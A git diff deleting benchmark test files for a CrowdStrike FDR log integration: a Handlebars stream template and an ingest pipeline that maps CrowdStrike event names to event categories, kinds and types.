-{{#each tags as |tag|}}
-  - {{tag}}
-{{/each}}
-{{#contains "forwarded" tags}}
-publisher_pipeline.disable_host: true
-{{/contains}}
-fields_under_root: true
-fields:
-  _conf:
-    long_fields: {{long_fields}}
-    long_fields_max_length: {{long_fields_max_length}}
-    enable_deduplication: {{enable_deduplication}}
-    prune_fields: {{prune_fields}}
-processors:
-- add_locale: ~
-{{#if enrich_metadata}}
-- decode_json_fields:
-    fields: message
-    target: crowdstrike
-- if:
-    contains:
-      log.file.path: aidmaster
-  then:
-    - cache:
-        backend:
-          capacity: {{metadata_cache_capacity}}
-          file:
-            id: aidmaster
-            write_interval: {{metadata_cache_write_interval}}
-        put:
-          ttl: {{metadata_ttl}}
-          key_field: crowdstrike.aid
-          value_field: crowdstrike
-          ignore_missing: true
-{{#unless keep_metadata}}
-    - drop_event:
-        when:
-          contains:
-            log.file.path: aidmaster
-{{/unless}}
-  else:
-    - if:
-        contains:
-          log.file.path: userinfo
-      then:
-        - cache:
-            backend:
-              capacity: {{metadata_cache_capacity}}
-              file:
-                id: userinfo
-                write_interval: {{metadata_cache_write_interval}}
-            put:
-              ttl: {{metadata_ttl}}
-              key_field: crowdstrike.UserSid_readable
-              value_field: crowdstrike
-              ignore_missing: true
-{{#unless keep_metadata}}
-        - drop_event:
-            when:
-              contains:
-                log.file.path: userinfo
-{{/unless}}
-      else:
-        - cache:
-            backend:
-              file:
-                id: aidmaster
-            get:
-              key_field: crowdstrike.aid
-              target_field: metadata.host
-              ignore_missing: true
-        - cache:
-            backend:
-              file:
-                id: userinfo
-            get:
-              key_field: crowdstrike.UserSid
-              target_field: metadata.user
-              ignore_missing: true
-- drop_fields:
-    fields:
-      - crowdstrike
-{{/if}}
-{{#if processors}}
-{{processors}}
-{{/if}}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/agent/stream/stream.yml.hbs b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/agent/stream/stream.yml.hbs
deleted file mode 100644
index bd86e4b01f..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/agent/stream/stream.yml.hbs
+++ /dev/null
@@ -1,104 +0,0 @@
-paths:
-{{#each paths as |path|}}
-  - {{path}}
-{{/each}}
-scan:
-  sort: filename
-  order: asc
-exclude_files: ['\.gz$']
-{{#if tags.length}}
-tags:
-{{else}}
-{{#if preserve_original_event}}
-tags:
-{{/if}}
-{{/if}}
-{{#if preserve_original_event}}
-  - preserve_original_event
-{{/if}}
-{{#each tags as |tag|}}
-  - {{tag}}
-{{/each}}
-{{#contains "forwarded" tags}}
-publisher_pipeline.disable_host: true
-{{/contains}}
-fields_under_root: true
-fields:
-  _conf:
-    long_fields: {{long_fields}}
-    long_fields_max_length: {{long_fields_max_length}}
-    enable_deduplication: {{enable_deduplication}}
-    prune_fields: {{prune_fields}}
-processors:
-- add_locale: ~
-{{#if enrich_metadata}}
-- decode_json_fields:
-    fields: message
-    target: crowdstrike
-- if:
-    contains:
-      log.file.path: aidmaster
-  then:
-    - cache:
-        backend:
-          capacity: {{metadata_cache_capacity}}
-          file:
-            id: aidmaster
-            write_interval: {{metadata_cache_write_interval}}
-        put:
-          ttl: {{metadata_ttl}}
-          key_field: crowdstrike.aid
-          value_field: crowdstrike
-          ignore_missing: true
-{{#unless keep_metadata}}
-    - drop_event:
-        when:
-          contains:
-            log.file.path: aidmaster
-{{/unless}}
-  else:
-    - if:
-        contains:
-          log.file.path: userinfo
-      then:
-        - cache:
-            backend:
-              capacity: {{metadata_cache_capacity}}
-              file:
-                id: userinfo
-                write_interval: {{metadata_cache_write_interval}}
-            put:
-              ttl: {{metadata_ttl}}
-              key_field: crowdstrike.UserSid_readable
-              value_field: crowdstrike
-              ignore_missing: true
-{{#unless keep_metadata}}
-        - drop_event:
-            when:
-              contains:
-                log.file.path: userinfo
-{{/unless}}
-      else:
-        - cache:
-            backend:
-              file:
-                id: aidmaster
-            get:
-              key_field: crowdstrike.aid
-              target_field: metadata.host
-              ignore_missing: true
-        - cache:
-            backend:
-              file:
-                id: userinfo
-            get:
-              key_field: crowdstrike.UserSid
-              target_field: metadata.user
-              ignore_missing: true
-- drop_fields:
-    fields:
-      - crowdstrike
-{{/if}}
-{{#if processors}}
-{{processors}}
-{{/if}}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/elasticsearch/ingest_pipeline/categorize.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/elasticsearch/ingest_pipeline/categorize.yml
deleted file mode 100644
index 864a40392f..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/elasticsearch/ingest_pipeline/categorize.yml
+++ /dev/null
@@ -1,1875 +0,0 @@
----
-description: Pipeline for categorizing Crowdstrike events
-processors:
-  - set:
-      tag: set_event_category_604aa117
-      if: ctx.crowdstrike?.event_simpleName != null && ctx.crowdstrike.event_simpleName.endsWith('Written')
-      field: event.category
-      value:
-        - file
-  - script:
-      description: Categorize events.
-      tag: categorize_events_6b04e496
-      params:
-        AcUninstallConfirmation:
-          category:
-            - package
-          kind: state
-          outcome: success
-          type:
-            - deletion
-        AcUnloadConfirmation:
-          category:
-            - package
-          kind: state
-          outcome: success
-          type:
-            - deletion
-        ActiveDirectoryAuthentication:
-          category:
-            - authentication
-          kind: event
-          outcome: success
-          type:
-            - start
-        ActiveDirectoryAuthenticationFailure:
-          category:
-            - authentication
-          kind: event
-          outcome: failure
-          type:
-            - start
-        ActiveDirectoryIncomingDceRpcEpmRequest:
-          category:
-            - api
-          kind: event
-          outcome: unknown
-          type:
-            - start
-        ActiveDirectoryIncomingDceRpcRequest:
-          category:
-            - api
-          kind: event
-          outcome: unknown
-          type:
-            - start
-        ActiveDirectoryIncomingLdapSearchRequest:
-          category:
-            - database
-          kind: event
-          outcome: unknown
-          type:
-            - access
-        ActiveDirectoryIncomingPsExecExecution2:
-          category:
-            - process
-          kind: event
-          outcome: success
-          type:
-            - start
-        ActiveDirectoryInteractiveDomainLogon:
-          category:
-            - authentication
-          kind: event
-          outcome: success
-          type:
-            - start
-        ActiveDirectoryServiceAccessRequest:
-          category:
-            - database
-          kind: event
-          outcome: success
-          type:
-            - access
-        ActiveDirectoryServiceAccessRequestFailure:
-          category:
-            - database
-          kind: event
-          outcome: failure
-          type:
-            - access
-        AgentConnect:
-          category:
-            - network
-            - session
-          kind: event
-          outcome: success
-          type:
-            - connection
-            - info
-        AgentOnline:
-          category:
-            - configuration
-            - package
-            - host
-          kind: state
-          outcome: success
-          type:
-            - change
-            - installation
-            - start
-        AmsiRegistrationStatus:
-          category:
-            - host
-          kind: state
-          outcome: success
-          type:
-            - info
-        AsepFileChange:
-          category:
-            - file
-          kind: event
-          outcome: success
-          type:
-            - creation
-            - change
-        AsepKeyUpdate:
-          category:
-            - registry
-          kind: event
-          outcome: success
-          type:
-            - change
-        AsepValueUpdate:
-          category:
-            - registry
-          kind: event
-          outcome: success
-          type:
-            - change
-        AssociateIndicator:
-          category:
-            - threat
-          kind: event
-          outcome: unknown
-          type:
-            - indicator
-        AssociateTreeIdWithRoot:
-          category:
-            - malware
-          kind: alert
-          outcome: success
-          type:
-            - info
-        BITSJobCreated:
-          category:
-            - network
-            - file
-          kind: event
-          outcome: success
-          type:
-            - connection
-            - creation
-        BZip2FileWritten:
-          category:
-            - file
-          kind: event
-          outcome: success
-          type:
-            - creation
-        BehaviorWhitelisted:
-          category:
-            - configuration
-          kind: event
-          outcome: success
-          type:
-            - change
-        BrowserInjectedThread:
-          category:
-            - process
-          kind: event
-          outcome: success
-          type:
-            - access
-            - change
-        ClassifiedModuleLoad:
-          category:
-            - library
-          kind: event
-          type:
-            - start
-        CloudAssociateTreeIdWithRoot:
-          category:
-            - malware
-          kind: alert
-          outcome: success
-          type:
-            - deletion
-        CommandHistory:
-          category:
-            - process
-          kind: event
-          outcome: success
-          type:
-            - end
-            - info
-        ConfigStateUpdate:
-          category:
-            - configuration
-          kind: event
-          outcome: success
-          type:
-            - change
-        CrashNotification:
-          category:
-            - host
-          kind: event
-          outcome: failure
-          type:
-            - info
-        CreateProcessArgs:
-          category:
-            - process
-          kind: state
-          outcome: success
-          type:
-            - start
-        CreateService:
-          category:
-            - host
-          kind: event
-          outcome: success
-          type:
-            - change
-        CreateThreadNoStartImage:
-          category:
-            - process
-          kind: event
-          outcome: success
-          type:
-            - start
-        CreateThreadReflectiveDll:
-          category:
-            - process
-          kind: event
-          outcome: success
-          type:
-            - change
-        CriticalEnvironmentVariableChanged:
-          category:
-            - configuration
-            - host
-          kind: event
-          outcome: success
-          type:
-            - change
-        CriticalFileAccessed:
-          category:
-            - file
-          kind: alert
-          outcome: success
-          type:
-            - access
-        CriticalFileModified:
-          category:
-            - file
-          kind: alert
-          outcome: success
-          type:
-            - change
-        CurrentSystemTags:
-          category:
-            - host
-          kind: state
-          outcome: success
-          type:
-            - info
-        CustomIOABasicProcessDetectionInfoEvent:
-          category:
-            - malware
-          kind: alert
-          outcome: unknown
-          type:
-            - info
-        DCSyncAttempted:
-          category:
-            - configuration
-            - iam
-          kind: event
-          outcome: unknown
-          type:
-            - access
-        DcOffline:
-          category:
-            - iam
-          kind: event
-          outcome: success
-          type:
-            - info
-        DcOnline:
-          category:
-            - iam
-          kind: event
-          outcome: success
-          type:
-            - info
-        DcStatus:
-          category:
-            - iam
-          kind: state
-          outcome: success
-          type:
-            - info
-        DetectAnalysis:
-          category:
-            - malware
-          kind: alert
-          outcome: success
-          type:
-            - info
-        DetectionExcluded:
-          category:
-            - configuration
-          kind: event
-          outcome: success
-          type:
-            - change
-            - info
-        DirectoryCreate:
-          category:
-            - file
-          kind: event
-          outcome: success
-          type:
-            - creation
-        DllInjection:
-          category:
-            - process
-          kind: event
-          outcome: success
-          type:
-            - change
-        DmpFileWritten:
-          category:
-            - file
-          kind: event
-          outcome: success
-          type:
-            - creation
-        DnsRequest:
-          category:
-            - network
-          kind: event
-          outcome: success
-          type:
-            - protocol
-        DocumentProgramInjectedThread:
-          category:
-            - process
-          kind: event
-          outcome: success
-          type:
-            - access
-            - change
-        DriverLoad:
-          category:
-            - driver
-          kind: event
-          outcome: success
-          type:
-            - start
-        DwgFileWritten:
-          category:
-            - file
-          kind: event
-          outcome: success
-          type:
-            - creation
-        EarlyExploitPivotDetect:
-          category:
-            - malware
-          kind: event
-          outcome: unknown
-          type:
-            - info
-        EndOfProcess:
-          category:
-            - process
-          kind: event
-          outcome: success
-          type:
-            - end
-        ErrorEvent:
-          category:
-            - package
-          kind: event
-          outcome: failure
-          type:
-            - info
-        EtwErrorEvent:
-          category:
-            - package
-            - host
-          kind: event
-          outcome: failure
-          type:
-            - info
-        ExecutableDeleted:
-          category:
-            - file
-          kind: event
-          outcome: success
-          type:
-            - deletion
-        FalconHostRegTamperingInfo:
-          category:
-            - registry
-          kind: alert
-          outcome: unknown
-          type:
-            - change
-        FalconProcessHandleOpDetectInfo:
-          category:
-            - malware
-            - process
-          kind: alert
-          type:
-            - info
-            - access
-        FalconServiceStatus:
-          category:
-            - package
-          kind: state
-          outcome: unknown
-          type:
-            - info
-        FileCreateInfo:
-          category:
-            - file
-          kind: event
-          outcome: success
-          type:
-            - creation
-        FileDeleteInfo:
-          category:
-            - file
-          kind: event
-          outcome: success
-          type:
-            - deletion
-        FileDetectInfo:
-          category:
-            - file
-          kind: alert
-          outcome: unknown
-          type:
-            - creation
-        FileInfo:
-          category:
-            - file
-          kind: event
-          outcome: unknown
-          type:
-            - info
-        FileOpenInfo:
-          category:
-            - file
-          kind: event
-          outcome: success
-          type:
-            - access
-        FileRenameInfo:
-          category:
-            - file
-          kind: event
-          outcome: success
-          type:
-            - change
-        FileSystemOperationBlocked:
-          category:
-            - file
-          kind: event
-          outcome: failure
-          type:
-            - change
-            - deletion
-        FileSystemOperationDetectInfo:
-          category:
-            - file
-          kind: event
-          outcome: unknown
-          type:
-            - change
-            - deletion
-        FileTimestampsModified:
-          category:
-            - file
-          kind: event
-          outcome: success
-          type:
-            - change
-        FileWrittenWithEntropyHigh:
-          category:
-            - file
-          kind: event
-          outcome: success
-          type:
-            - creation
-        FirewallChangeOption:
-          category:
-            - configuration
-            - host
-          kind: event
-          outcome: success
-          type:
-            - change
-        FirewallDeleteRule:
-          category:
-            - configuration
-          kind: event
-          outcome: success
-          type:
-            - change
-        FirewallDeleteRuleIP4:
-          category:
-            - configuration
-          kind: event
-          outcome: success
-          type:
-            - change
-        FirewallDeleteRuleIP6:
-          category:
-            - configuration
-          kind: event
-          outcome: success
-          type:
-            - change
-        FirewallDisabled:
-          category:
-            - configuration
-            - host
-          kind: event
-          outcome: success
-          type:
-            - change
-        FirewallEnabled:
-          category:
-            - configuration
-            - host
-          kind: event
-          outcome: success
-          type:
-            - change
-        FirewallSetRule:
-          category:
-            - configuration
-          kind: event
-          outcome: success
-          type:
-            - change
-        FirewallSetRuleIP4:
-          category:
-            - configuration
-          kind: event
-          outcome: success
-          type:
-            - change
-        FirewallSetRuleIP6:
-          category:
-            - configuration
-          kind: event
-          outcome: success
-          type:
-            - change
-        FirmwareAnalysisErrorEvent:
-          category:
-            - host
-          kind: state
-          outcome: failure
-          type:
-            - info
-        FirmwareAnalysisHardwareData:
-          category:
-            - host
-          kind: state
-          outcome: success
-          type:
-            - info
-        FirmwareAnalysisStatus:
-          category:
-            - host
-          kind: state
-          outcome: success
-          type:
-            - info
-        FlashThreadCreateProcess:
-          category:
-            - process
-          kind: event
-          outcome: success
-          type:
-            - start
-        FsPostOpenSnapshotFile:
-          category:
-            - file
-          kind: event
-          outcome: success
-          type:
-            - access
-        FsVolumeMounted:
-          category:
-            - host
-          kind: event
-          outcome: success
-          type:
-            - change
-        FsVolumeUnmounted:
-          category:
-            - host
-          kind: event
-          outcome: success
-          type:
-            - change
-        HostInfo:
-          category:
-            - host
-          kind: event
-          outcome: success
-          type:
-            - info
-        HostedServiceStarted:
-          category:
-            - process
-          kind: event
-          outcome: success
-          type:
-            - start
-        HostedServiceStopped:
-          category:
-            - process
-          kind: event
-          outcome: success
-          type:
-            - end
-        HostnameChanged:
-          category:
-            - host
-          kind: event
-          outcome: success
-          type:
-            - change
-        HttpRequestDetect:
-          category:
-            - network
-            - session
-          kind: event
-          outcome: success
-          type:
-            - connection
-            - start
-        HttpVisibilityStatus:
-          category:
-            - session
-          kind: state
-          outcome: unknown
-          type:
-            - info
-        IOServiceRegister:
-          category:
-            - package
-          kind: event
-          outcome: success
-          type:
-            - change
-        ImageHash:
-          category:
-            - library
-          kind: event
-          outcome: success
-          type:
-            - start
-        InjectedThread:
-          category:
-            - process
-          kind: event
-          outcome: success
-          type:
-            - change
-        InjectedThreadFromUnsignedModule:
-          category:
-            - process
-          kind: alert
-          outcome: success
-          type:
-            - change
-        InstallBundleDownloadComplete:
-          category:
-            - file
-          kind: event
-          outcome: success
-          type:
-            - creation
-        InstallServiceDownloadComplete:
-          category:
-            - file
-          kind: event
-          outcome: success
-          type:
-            - creation
-        InstalledApplication:
-          category:
-            - package
-          kind: event
-          outcome: success
-          type:
-            - installation
-        InstalledBrowserExtension:
-          category:
-            - package
-          kind: event
-          type:
-            - installation
-        InstalledUpdates:
-          category:
-            - host
-            - package
-          kind: event
-          outcome: success
-          type:
-            - change
-            - installation
-        InstanceMetadata:
-          category:
-            - host
-          kind: state
-          outcome: unknown
-          type:
-            - info
-        IoSessionConnected:
-          category:
-            - session
-          kind: event
-          outcome: success
-          type:
-            - start
-        IoSessionLoggedOn:
-          category:
-            - session
-          kind: event
-          outcome: success
-          type:
-            - end
-        JarFileWritten:
-          category:
-            - file
-          kind: event
-          outcome: success
-          type:
-            - creation
-        JavaClassFileWritten:
-          category:
-            - file
-          kind: event
-          outcome: success
-          type:
-            - creation
-        JavaInjectedThread:
-          category:
-            - process
-          kind: event
-          outcome: success
-          type:
-            - change
-        KernelModeLoadImage:
-          category:
-            - driver
-          kind: event
-          outcome: success
-          type:
-            - start
-        KernelServiceStarted:
-          category:
-            - process
-          kind: event
-          type:
-            - start
-        KextLoad:
-          category:
-            - driver
-          kind: event
-          outcome: success
-          type:
-            - start
-        KextUnload:
-          category:
-            - driver
-          kind: event
-          outcome: success
-          type:
-            - end
-        LFODownloadConfirmation:
-          category:
-            - file
-          kind: event
-          outcome: success
-          type:
-            - creation
-        LfoUploadDataComplete:
-          category:
-            - file
-          kind: event
-          outcome: success
-          type:
-            - change
-        LfoUploadDataFailed:
-          category:
-            - file
-          kind: event
-          outcome: failure
-          type:
-            - change
-        LfoUploadDataUnneeded:
-          category:
-            - file
-          kind: event
-          outcome: failure
-          type:
-            - change
-        LocalIpAddressIP4:
-          category:
-            - configuration
-            - host
-          kind: state
-          outcome: success
-          type:
-            - change
-        LocalIpAddressIP6:
-          category:
-            - configuration
-            - host
-          kind: state
-          outcome: success
-          type:
-            - change
-        LocalIpAddressRemovedIP4:
-          category:
-            - configuration
-            - host
-          kind: state
-          outcome: success
-          type:
-            - change
-        LocalIpAddressRemovedIP6:
-          category:
-            - configuration
-            - host
-          kind: state
-          outcome: success
-          type:
-            - change
-        LsassHandleFromUnsignedModule:
-          category:
-            - process
-          kind: alert
-          outcome: unknown
-          type:
-            - change
-        MachOFileWritten:
-          category:
-            - file
-          kind: event
-          outcome: success
-          type:
-            - change
-        ManifestDownloadComplete:
-          category:
-            - configuration
-            - file
-          kind: event
-          outcome: success
-          type:
-            - change
-            - creation
-        ModifyServiceBinary:
-          category:
-            - file
-          kind: event
-          outcome: unknown
-          type:
-            - change
-        ModuleBlockedEvent:
-          category:
-            - process
-            - malware
-          kind: alert
-          outcome: success
-          type:
-            - info
-            - denied
-        ModuleBlockedEventWithPatternId:
-          category:
-            - process
-            - malware
-          kind: event
-          outcome: unknown
-          type:
-            - info
-        ModuleDetectInfo:
-          category:
-            - process
-            - malware
-          kind: event
-          outcome: unknown
-          type:
-            - info
-        MountedVolume:
-          category:
-            - file
-          kind: event
-          outcome: success
-          type:
-            - info
-        NeighborListIP4:
-          category:
-            - host
-            - network
-          kind: state
-          outcome: unknown
-          type:
-            - info
-        NeighborListIP6:
-          category:
-            - host
-            - network
-          kind: state
-          outcome: unknown
-          type:
-            - info
-        NetShareAdd:
-          category:
-            - host
-          kind: event
-          outcome: success
-          type:
-            - change
-        NetShareDelete:
-          category:
-            - host
-          kind: event
-          outcome: success
-          type:
-            - change
-        NetShareSecurityModify:
-          category:
-            - configuration
-          kind: event
-          outcome: success
-          type:
-            - change
-        NetworkCloseIP4:
-          category:
-            - network
-          kind: event
-          outcome: unknown
-          type:
-            - end
-            - connection
-        NetworkCloseIP6:
-          category:
-            - network
-          kind: event
-          outcome: unknown
-          type:
-            - end
-            - connection
-        NetworkConnectIP4:
-          category:
-            - network
-          kind: event
-          outcome: unknown
-          type:
-            - start
-            - connection
-        NetworkConnectIP6:
-          category:
-            - network
-          kind: event
-          outcome: unknown
-          type:
-            - start
-            - connection
-        NetworkListenIP4:
-          category:
-            - network
-          kind: event
-          outcome: success
-          type:
-            - start
-        NetworkListenIP6:
-          category:
-            - network
-          kind: event
-          outcome: success
-          type:
-            - start
-        NetworkReceiveAcceptIP4:
-          category:
-            - network
-          kind: event
-          outcome: unknown
-          type:
-            - allowed
-            - access
-            - connection
-        NetworkReceiveAcceptIP6:
-          category:
-            - network
-          kind: event
-          outcome: unknown
-          type:
-            - allowed
-            - access
-            - connection
-        NewExecutableRenamed:
-          category:
-            - file
-          kind: event
-          outcome: success
-          type:
-            - change
-        NewExecutableWritten:
-          category:
-            - file
-          kind: event
-          outcome: success
-          type:
-            - creation
-        NewScriptWritten:
-          category:
-            - file
-          kind: event
-          outcome: success
-          type:
-            - creation
-        OciContainerTelemetry:
-          category:
-            - host
-          kind: state
-          outcome: unknown
-          type:
-            - info
-        OleFileWritten:
-          category:
-            - file
-          kind: event
-          outcome: success
-          type:
-            - creation
-        OoxmlFileWritten:
-          category:
-            - file
-          kind: event
-          outcome: success
-          type:
-            - creation
-        OsVersionInfo:
-          category:
-            - host
-          kind: event
-          outcome: success
-          type:
-            - info
-        PackedExecutableWritten:
-          category:
-            - file
-          kind: event
-          outcome: success
-          type:
-            - creation
-        PdfFileWritten:
-          category:
-            - file
-          kind: event
-          outcome: success
-          type:
-            - creation
-        PeFileWritten:
-          category:
-            - file
-          kind: event
-          outcome: success
-          type:
-            - creation
-        PeVersionInfo:
-          category:
-            - file
-          kind: event
-          outcome: success
-          type:
-            - info
-        PrivilegedProcessHandleFromUnsignedModule:
-          category:
-            - process
-          kind: alert
-          outcome: success
-          type:
-            - access
-        ProcessBlocked:
-          category:
-            - process
-          kind: alert
-          outcome: failure
-          type:
-            - access
-        ProcessExecOnPackedExecutable:
-          category:
-            - process
-            - file
-          kind: alert
-          outcome: success
-          type:
-            - access
-        ProcessExecOnSMBFile:
-          category:
-            - process
-            - file
-            - network
-          kind: alert
-          outcome: success
-          type:
-            - access
-        ProcessHandleOpDetectInfo:
-          category:
-            - process
-            - malware
-          kind: alert
-          outcome: success
-          type:
-            - info
-        ProcessInjection:
-          category:
-            - process
-          kind: event
-          outcome: success
-          type:
-            - change
-        ProcessRollup2:
-          category:
-            - process
-          kind: event
-          outcome: success
-          type:
-            - start
-        ProcessRollup2Stats:
-          category:
-            - process
-          kind: state
-          outcome: unknown
-          type:
-            - info
-        ProcessSelfDeleted:
-          category:
-            - process
-          kind: event
-          outcome: success
-          type:
-            - end
-        PromiscuousBindIP4:
-          category:
-            - host
-          kind: state
-          outcome: success
-          type:
-            - change
-        PtyCreated:
-          category:
-            - file
-          kind: event
-          outcome: success
-          type:
-            - creation
-        QuarantineActionResult:
-          category:
-            - file
-          kind: alert
-          outcome: unknown
-          type:
-            - info
-        QuarantinedFile:
-          category:
-            - file
-          kind: alert
-          outcome: unknown
-          type:
-            - change
-        QuarantinedFileState:
-          category:
-            - file
-          kind: alert
-          outcome: unknown
-          type:
-            - info
-        QueueApcEtw:
-          category:
-            - file
-          kind: alert
-          outcome: success
-          type:
-            - creation
-        RansomwareCreateFile:
-          category:
-            - file
-          kind: event
-          outcome: success
-          type:
-            - creation
-        RansomwareFileAccessPattern:
-          category:
-            - file
-          kind: alert
-          outcome: success
-          type:
-            - access
-        RansomwareOpenFile:
-          category:
-            - file
-          kind: event
-          outcome: success
-          type:
-            - access
-        RarFileWritten:
-          category:
-            - file
-          kind: event
-          outcome: success
-          type:
-            - creation
-        RawBindIP4:
-          category:
-            - network
-          kind: event
-          outcome: success
-          type:
-            - start
-            - connection
-        RawBindIP6:
-          category:
-            - network
-          kind: event
-          outcome: success
-          type:
-            - start
-            - connection
-        ReflectiveDllOpenProcess:
-          category:
-            - process
-          kind: alert
-          outcome: success
-          type:
-            - access
-        ReflectiveDotnetModuleLoad:
-          category:
-            - library
-          kind: event
-          type:
-            - start
-        RegCrowdstrikeKeyUpdate:
-          category:
-            - registry
-          kind: event
-          outcome: success
-          type:
-            - change
-        RegCrowdstrikeValueUpdate:
-          category:
-            - registry
-          kind: event
-          outcome: success
-          type:
-            - change
-        RegGenericValueUpdate:
-          category:
-            - registry
-          kind: event
-          outcome: success
-          type:
-            - change
-        RegSystemConfigValueUpdate:
-          category:
-            - registry
-            - host
-            - configuration
-          kind: event
-          outcome: success
-          type:
-            - change
-        RegisterRawInputDevicesEtw:
-          category:
-            - host
-            - configuration
-          kind: event
-          outcome: success
-          type:
-            - change
-        RegistryOperationDetectInfo:
-          category:
-            - registry
-          kind: alert
-          outcome: success
-          type:
-            - info
-        RemoteBruteForceDetectInfo:
-          category:
-            - malware
-            - authentication
-          kind: alert
-          outcome: success
-          type:
-            - info
-        RemovableDiskModuleLoadAttempt:
-          category:
-            - configuration
-            - host
-          kind: event
-          outcome: success
-          type:
-            - change
-        RemovableMediaVolumeMounted:
-          category:
-            - configuration
-            - host
-          kind: event
-          outcome: success
-          type:
-            - change
-        RtfFileWritten:
-          category:
-            - file
-          kind: event
-          outcome: success
-          type:
-            - creation
-        SAMHashDumpFromUnsignedModule:
-          category:
-            - registry
-            - file
-          kind: alert
-          outcome: success
-          type:
-            - access
-            - creation
-        ScheduledTaskDeleted:
-          category:
-            - configuration
-          kind: event
-          outcome: success
-          type:
-            - deletion
-        ScheduledTaskModified:
-          category:
-            - configuration
-          kind: event
-          outcome: success
-          type:
-            - change
-        ScheduledTaskRegistered:
-          category:
-            - configuration
-          kind: event
-          outcome: success
-          type:
-            - creation
-        ScreenshotTakenEtw:
-          category:
-            - process
-          kind: event
-          outcome: success
-          type:
-            - access
-        ScriptControlBlocked:
-          category:
-            - malware
-            - file
-          kind: alert
-          outcome: success
-          type:
-            - info
-        ScriptControlDetectInfo:
-          category:
-            - malware
-            - file
-          kind: alert
-          outcome: success
-          type:
-            - info
-        ScriptControlErrorEvent:
-          category:
-            - malware
-            - file
-          kind: alert
-          outcome: failure
-          type:
-            - info
-        ScriptControlScanInfo:
-          category:
-            - malware
-            - file
-          kind: state
-          outcome: success
-          type:
-            - info
-        ScriptControlScanTelemetry:
-          category:
-            - malware
-            - file
-          kind: state
-          outcome: success
-          type:
-            - info
-        SensitiveWmiQuery:
-          category:
-            - process
-          kind: event
-          outcome: success
-          type:
-            - info
-        SensorAntiTamperState:
-          category:
-            - configuration
-          kind: state
-          type:
-            - info
-        SensorHeartbeat:
-          category:
-            - package
-          kind: event
-          outcome: success
-          type:
-            - info
-        SensorSettingsUpdate:
-          category:
-            - configuration
-          kind: event
-          type:
-            - change
-        ServiceStarted:
-          category:
-            - process
-          kind: event
-          outcome: success
-          type:
-            - start
-        ServiceStopped:
-          category:
-            - process
-          kind: event
-          outcome: success
-          type:
-            - end
-        ServicesStatusInfo:
-          category:
-            - configuration
-          kind: state
-          type:
-            - info
-        SetWinEventHookEtw:
-          category:
-            - host
-            - configuration
-          kind: event
-          outcome: success
-          type:
-            - change
-        SevenZipFileWritten:
-          category:
-            - file
-          kind: event
-          outcome: success
-          type:
-            - creation
-        SignInfoError:
-          category:
-            - file
-          kind: state
-          outcome: failure
-          type:
-            - info
-        SignInfoWithCertAndContext:
-          category:
-            - file
-          kind: state
-          outcome: unknown
-          type:
-            - info
-        SignInfoWithContext:
-          category:
-            - file
-          kind: state
-          outcome: unknown
-          type:
-            - info
-        SmbClientNamedPipeConnectEtw:
-          category:
-            - network
-          kind: event
-          outcome: success
-          type:
-            - connection
-        SmbClientShareClosedEtw:
-          category:
-            - network
-          kind: event
-          outcome: success
-          type:
-            - connection
-            - end
-        SmbClientShareOpenedEtw:
-          category:
-            - network
-          kind: event
-          outcome: success
-          type:
-            - connection
-            - start
-        SmbServerShareOpenedEtw:
-          category:
-            - network
-          kind: event
-          outcome: success
-          type:
-            - connection
-            - start
-        SmbServerV1AuditEtw:
-          category:
-            - network
-          kind: state
-          outcome: unknown
-          type:
-            - connection
-        SnapshotVolumeMounted:
-          category:
-            - host
-            - configuration
-          kind: event
-          outcome: success
-          type:
-            - change
-        SudoCommandAttempt:
-          category:
-            - authentication
-          kind: event
-          outcome: unknown
-          type:
-            - start
-        SuspiciousCreateSymbolicLink:
-          category:
-            - file
-          kind: alert
-          outcome: success
-          type:
-            - creation
-            - info
-        SuspiciousDnsRequest:
-          category:
-            - network
-          kind: alert
-          outcome: success
-          type:
-            - start
-            - protocol
-        SuspiciousEseFileWritten:
-          category:
-            - malware
-            - file
-          kind: alert
-          outcome: success
-          type:
-            - creation
-            - info
-        SuspiciousPeFileWritten:
-          category:
-            - malware
-            - file
-          kind: alert
-          outcome: success
-          type:
-            - creation
-            - info
-        SuspiciousPrivilegedProcessHandle:
-          category:
-            - process
-          kind: event
-          type:
-            - info
-        SuspiciousRegAsepUpdate:
-          category:
-            - malware
-            - registry
-            - configuration
-          kind: alert
-          outcome: success
-          type:
-            - change
-            - info
-        SuspiciousUserRemoteAPCAttempt:
-          category:
-            - malware
-            - process
-          kind: alert
-          outcome: success
-          type:
-            - info
-        SyntheticProcessRollup2:
-          category:
-            - process
-          kind: event
-          outcome: success
-          type:
-            - start
-        SystemCapacity:
-          category:
-            - host
-          kind: state
-          outcome: success
-          type:
-            - info
-        TarFileWritten:
-          category:
-            - file
-          kind: event
-          outcome: success
-          type:
-            - creation
-        TelemetryCounters2:
-          category:
-            - host
-          kind: state
-          outcome: success
-          type:
-            - info
-        TelemetryNetworkConnections:
-          category:
-            - network
-          kind: state
-          outcome: success
-          type:
-            - connection
-        TelemetryStats:
-          category:
-            - host
-          kind: state
-          outcome: success
-          type:
-            - info
-        TerminateProcess:
-          category:
-            - process
-          kind: event
-          outcome: success
-          type:
-            - end
-        TokenImpersonated:
-          category:
-            - process
-            - authentication
-          kind: event
-          outcome: success
-          type:
-            - info
-            - change
-        UACCOMElevation:
-          category:
-            - process
-            - authentication
-          kind: event
-          outcome: success
-          type:
-            - info
-            - change
-        UACExeElevation:
-          category:
-            - process
-            - authentication
-          kind: event
-          outcome: success
-          type:
-            - info
-            - change
-        UACMSIElevation:
-          category:
-            - process
-            - authentication
-          kind: event
-          outcome: success
-          type:
-            - info
-            - change
-        UmppaErrorEvent:
-          category:
-            - package
-          kind: event
-          outcome: failure
-          type:
-            - info
-        UnsignedModuleLoad:
-          category:
-            - library
-          kind: event
-          outcome: success
-          type:
-            - start
-        UpdateManifestDownloadComplete:
-          category:
-            - file
-          kind: event
-          outcome: success
-          type:
-            - creation
-        UserAccountAddedToGroup:
-          category:
-            - configuration
-            - iam
-          kind: event
-          outcome: success
-          type:
-            - change
-            - group
-        UserAccountCreated:
-          category:
-            - configuration
-            - iam
-          kind: event
-          outcome: success
-          type:
-            - creation
-        UserAccountDeleted:
-          category:
-            - configuration
-            - iam
-          kind: event
-          outcome: success
-          type:
-            - deletion
